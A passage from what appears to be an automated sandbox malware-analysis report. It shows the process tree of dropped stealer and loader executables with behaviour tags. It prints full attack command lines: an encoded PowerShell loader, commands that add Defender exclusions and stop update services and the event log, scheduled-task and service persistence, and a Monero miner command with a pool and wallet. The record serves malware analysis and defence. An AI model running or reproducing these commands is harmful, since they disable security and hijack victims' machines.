- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"7⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"7⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 38⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 3966⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClient7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClient confirm7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLink7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLink confirm7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLink7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "6⤵
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClientC7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClientC confirm7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\sc.exeSc delete PiercingNetLink7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove PiercingNetLink confirm7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start PiercingNetLink7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "6⤵
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLinks7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLinks confirm7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLinks7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"5⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAwADUALAAgADAAeAAxADcALAAgADAAeABEAEUALAAgADAAeABCAEMALAAgADAAeABEAEYALAAgADAAeAA0ADAALAAgADAAeAA2ADgALAAgADAAeAA1ADcALAAgADAAeABDADUALAAgADAAeAA0ADQALAAgADAAeAA5ADQALAAgADAAeAA4ADAALAAgADAAeAA1ADEALAAgADAAeAA5ADkALAAgADAAeAA1ADgALAAgADAAeAA1ADkALAAgADAAeABBADAALAAgADAAeAAzAEEALAAgADAAeABDADgALAAgADAAeAAwADUALAAgADAAeAA2ADgALAAgADAAeAAxADMALAAgADAAeABGADgALAAgADAAeABFAEMALAAgADAAeAA0ADYALAAgADAAeAA4ADQALAAgADAAeABFADIALAAgADAAeABCADMALAAgADAAeAA1AEYALAAgADAAeABGADMALAAgADAAeAAxADMALAAgADAAeAAwAEYAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEUANgAsACAAMAB4AEYANAAsACAAMAB4AEMARAAsACAAMAB4ADcAQgAsACAAMAB4AEIAQwAsACAAMAB4AEIAQgAsACAAMAB4ADMAMgAsACAAMAB4AEQAMgAsACAAMAB4ADAAMAAsACAAMAB4AEYANgAsACAAMAB4AEYAMwAsACAAMAB4ADEAQQAsACAAMAB4AEQANQAsACAAMAB4AEQAOAAsACAAMAB4AEEANgAsACAAMAB4ADIAQQApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA6⤵
- UAC bypass
- Windows security bypass
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe" -Force7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\cG27JiktH7vR87U83tNdJ3fS.exe"C:\Users\Admin\Pictures\cG27JiktH7vR87U83tNdJ3fS.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\cG27JiktH7vR87U83tNdJ3fS.exe"C:\Users\Admin\Pictures\cG27JiktH7vR87U83tNdJ3fS.exe"9⤵
-
C:\Users\Admin\Pictures\Ildd3chC6OzNLVobDyp7zkaD.exe"C:\Users\Admin\Pictures\Ildd3chC6OzNLVobDyp7zkaD.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\Ildd3chC6OzNLVobDyp7zkaD.exe"C:\Users\Admin\Pictures\Ildd3chC6OzNLVobDyp7zkaD.exe"9⤵
-
C:\Users\Admin\Pictures\Ig4egc7EVdYuRtWN8d0yuWRu.exe"C:\Users\Admin\Pictures\Ig4egc7EVdYuRtWN8d0yuWRu.exe" /s8⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\dIWlZ2z21QRUf7bC92mXkSeg.exe"C:\Users\Admin\Pictures\dIWlZ2z21QRUf7bC92mXkSeg.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\dIWlZ2z21QRUf7bC92mXkSeg.exe"C:\Users\Admin\Pictures\dIWlZ2z21QRUf7bC92mXkSeg.exe"9⤵
-
C:\Users\Admin\Pictures\hPBqdh2ofADTFsVWrMAM1ZNQ.exe"C:\Users\Admin\Pictures\hPBqdh2ofADTFsVWrMAM1ZNQ.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\hPBqdh2ofADTFsVWrMAM1ZNQ.exe"C:\Users\Admin\Pictures\hPBqdh2ofADTFsVWrMAM1ZNQ.exe"9⤵
-
C:\Users\Admin\Pictures\f5Oo7EPjN82EKuHbSgleONJp.exe"C:\Users\Admin\Pictures\f5Oo7EPjN82EKuHbSgleONJp.exe"8⤵
-
C:\Users\Admin\Pictures\Wo9s7LQuBK0TQA3ljlGABVKI.exe"C:\Users\Admin\Pictures\Wo9s7LQuBK0TQA3ljlGABVKI.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSAC48.tmp\Install.exe.\Install.exe /tEdidDDf "385118" /S9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"10⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 613⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 613⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 613⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 613⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force12⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force14⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True12⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True13⤵
-
C:\Users\Admin\Pictures\RfrDiimjyIjFt8m18L8vkv7k.exe"C:\Users\Admin\Pictures\RfrDiimjyIjFt8m18L8vkv7k.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCBB7.tmp\Install.exe.\Install.exe /tEdidDDf "385118" /S9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"10⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 613⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"11⤵
-
C:\Users\Admin\Pictures\tDhVAccOvv9AE9DBLdFD9SDD.exe"C:\Users\Admin\Pictures\tDhVAccOvv9AE9DBLdFD9SDD.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe"C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart7⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart8⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc7⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 07⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 07⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 07⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 07⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WSNKISKT"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WSNKISKT"7⤵
- Launches sc.exe
-
C:\Users\Admin\1000006002\aef843b44c.exe"C:\Users\Admin\1000006002\aef843b44c.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1576 -ip 15761⤵
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Temp\996205.exe"C:\Windows\Temp\996205.exe" --list-devices3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Temp\884020.exe"C:\Windows\Temp\884020.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exeC:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exeC:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe1⤵
- Executes dropped EXE
-
C:\ProgramData\wikombernizc\reakuqnanrkn.exeC:\ProgramData\wikombernizc\reakuqnanrkn.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
